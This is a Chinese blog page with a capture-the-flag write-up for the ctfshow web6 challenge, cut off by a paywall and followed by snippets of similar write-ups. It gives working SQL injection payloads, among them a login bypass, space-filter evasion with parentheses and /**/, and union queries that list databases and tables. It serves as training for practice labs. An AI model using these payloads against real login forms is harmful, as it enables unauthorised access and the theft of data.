2024年最新ctfshow-WEB-web6_ctf(2)

最新推荐文章于 2024-08-27 02:53:26 发布

2301_82056337

最新推荐文章于 2024-08-27 02:53:26 发布

阅读量176

点赞数 1

分类专栏：程序员文章标签：前端

本文链接：https://blog.csdn.net/2301_82056337/article/details/138405498

版权

先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输

a'or(true)#

成功登录

既然是SQL注入漏洞,那么flag肯定就藏在当前使用的数据库中,我们使用联合注入获取当前使用的数据库,用户名输入以下payload,密码随便输

a'or(true)union(select(1),database(),3)#

当前数据库是web2

接下来获取数据库中的所有表,用户名输入一下payload,密码随便输,如果直接复制payload,记得删掉内容中的空格等特殊字符,尽量使整个内容保持在一行,否则空格或换行符会使结果出错

a'or(true)union(select(1),
(select(group_concat(table_name))from(information_schema.tables)
where(table_schema='web2'))
,3)#

成功获取数据库中的表 flag , user

很明显flag就在flag这个表中,接下来我们获取flag表的所有字段,用户名输入以下payload,密码随便输,如果直接赋值

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

2301_82056337

关注关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

专栏目录

CTFshow之web6

世间繁华梦一出

05-07

2559

CTFshow——web6 一打开页面是用户名密码登录，我们首先第一个想到的就是sql注入了，来用万能钥匙试一哈！报错了然后，我在密码框里同样注入万能钥匙试了一下，发现，密码框中输入空格也会多一个黑点，于是我猜测可能是把空格过滤了，为了验证我的猜想，来抓包看一下服务器收到的页面请求包最后传递的用户名和密码的参数值是什么样子的抓包果然发现，空格被过滤了一般空格被过滤有如下替换方法 /**/ () 回车(url编码中的%0a) `(tap键上面的按钮) tap 两个空格我们就选用/**/来替

ctfshow-WEB-web6

最新发布

2401_86044246的博客

08-27

341

萌新模块 web6关，这一关的考点是intval()函数转换字符串的特性，以及SQL注入漏洞的绕过方式，源码中过滤了单双引号，or，加减乘除号，叹号，异或，hex，select等关键字，推荐使用二进制绕过页面中展示了部分源码，并提示我们 id=1000 时，就是flag这里先上答案，payload如下接下来详细解释一下解题的思路，首先是利用intval()函数转换字符串的特性进行绕过。

ctfshow-web6

aarong的博客

12-22

1546

如题又是登录框先试试看看能不能登录 ' or 1=1# 发现出现了错误：sql inject error 用burp抓包发现，过滤了空格空格被注释掉了，所以想办法把空格给替代掉通过这篇文章得到注释的方法有两种，那就是注释符/* */和%a0 '/**/or/**/1=1# 发现可以登录：接下来就是手工注入的流程了 order by 查询字段为3： username='/**/or/**/1=1/**/order/**/by/**/3#&password=123 回显的字段数

CTF Show Web6

qq_62566956的博客

03-28

306

在上一题的wp中，看到了工具fzbk，使用之后发现所有备份文件都返回200= =，问了问群主之后发现这是nginx服务器的设置：遇到不存在的路径就直接跳转到默认的主页面，所以导致fzbk认为所有文件都可能存在。扫到备份文件之后直接访问，在www.zip中得到。解压源码到当前目录，测试正常，收工。因为fzbk有bug，再也不用了。直接访问txt文件即可。

ctfshow web6

博客地址 www.sec0nd.top

02-24

452

题目分析题目是一个登陆页面，猜测可能是sql注入类的题目尝试一下万能密码 username=admin'/**/or/**/1=1#&password=1 发现有过滤，要找出来是过滤了哪个字符，依次输入验证，发现是过滤了空格那么就要绕过空格，有以下几种方法 /**/ () 回车(url编码中的%0a) `(tap键上面的按钮) tap 两个空格详细见下面这篇文章https://blog.csdn.net/weixin_39945475/article/details/10990395

2401_84297899的博客

05-03

1015

ctf.show WEB模块第6关是一个SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输成功登录既然是SQL注入漏洞,那么flag肯定就藏在当前使用的数据库中,我们使用获取当前使用的数据库,用户名输入以下payload,密码随便输当前数据库是web2。

2024年ctfshow-WEB-web2_ctf

2401_84252281的博客

05-01

258

首先,测试一下回显的位置,在用户名的输入框中输入一下payload,密码还是随便输接下来,我们修改payload中2的位置,就可以将数据回显到页面中了,下面获取当前使用的数据库,盲猜flag就藏在当前使用的数据库中数据库有了,接下来是脱表,在用户名的输入框中输入一下payload,密码还是随便输接下来获取flag表的字段接下来获取flag表的数据。

2024年网安最全ctfshow-WEB-web6_ctf(3)

2401_84264583的博客

05-03

749

先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输成功登录既然是SQL注入漏洞,那么flag肯定就藏在当前使用的数据库中,我们使用获取当前使用的数据库,用户名输入以下payload,密码随便输当前数据库是web2接下来获取数据库中的所有表,用户名输入一下payload,密码随便输,如果直接复制payload,记得删掉内容中的空格等特殊字符,尽量使整个内容保持在一行,否则空格或换行符会使结果出错成功获取数据库中的表 flag , user。

2401_84301227的博客

05-06

737

当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。

CTF_ctfshow_web6

weixin_54227009的博客

05-13

462

过滤了空格一般空格被过滤有如下替换方法 /**/ () 回车(url编码中的%0a) `(tap键上面的按钮) tap 两个空格这里选择/**/ 1'/**/union/**/select/**/1,2,3# 回显为2 查看数据库名: 1'/**/union/**/select/**/1,database(),3# 查看表名: 1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_sc

Ctfshow web-web6 WP

qq_45427131的博客

05-12

438

Ctfshow web-we6 WP 进去看见一个login界面，看上去有点眼熟，好像做过，但是尝试之前做过的方法，回显始终是sql infect error，这样的回显表示输入的值中有非法字符，最后尝试下来是空格被顾虑了，用/**/代替原来 union select 1,2,3 Web6: union/**/select/**/1,2,3 这样的话，传统艺能手工注入判断显示位获取当前连接的数据库获取数据库中所有表的表名： Select table_name from informatio

CTF.show：web6

qq_46230755的博客

01-15

446

登陆窗，先想到sql注入抓包测试发现失败利用/**/代替空格进行绕过 username=admin'/**/or/**/1=1#&password=123456 利用联合查询找到回显位置 username=admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#&password=123456 查数据库名 username=admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3

CTF show WEB6

羽的博客

02-15

3886

1.尝试万能密码 username=admin’ or 1=1#&password=1 显示sql inject error，发现有字符被过滤。逐个字符输入后发现过滤了空格，一般空格被过滤有如下替换方法 /**/ () 回车(url编码中的%0a) `(tap键上面的按钮) tap 两个空格这里选择/**/ username=admin’/**/or/**/1=1#&passw...

ctfshow-萌新-web6（利用二进制绕过获取网站敏感信息）

wangyuxiang946的博客

09-10

1万+

ctf.show萌新模块 web6关，这一关的考点是intval()函数转换字符串的特性，以及SQL注入漏洞的绕过方式，源码中过滤了单双引号，or，加减乘除号，叹号，异或，hex，select等关键字，推荐使用二进制绕过页面中展示了部分源码，并提示我们 id=1000 时，就是flag 这里先上答案，payload如下 ?id=0b1111101000 接下来详细解释一下解题的思路，首先是利用intval()函数转换字符串的特性进行绕过 intval()函数...

2024年网络安全山东省赛-SMB信息收集解析（中职组）_使用访问工具对服务器服务访问,将服务器中管理员桌面的文本文档里的内容作为 flag

2401_84252281的博客

04-26

1020

任务环境说明：服务器场景：Server1。

ctf_show_web6

Nothing-one的博客

11-22

3164

打开题目后我们可以看到这个这里我们用bp工具进行

CTFShow-Web6

09-06

根据提供的引用内容，CTFShow-Web6可能是一个数据库名。其中，通过注入语句查询数据库web2中的表信息，得到两张表flag和user。具体的注入语句如下所示： ``` username=1'/**/union/**/select/**/1,group_concat...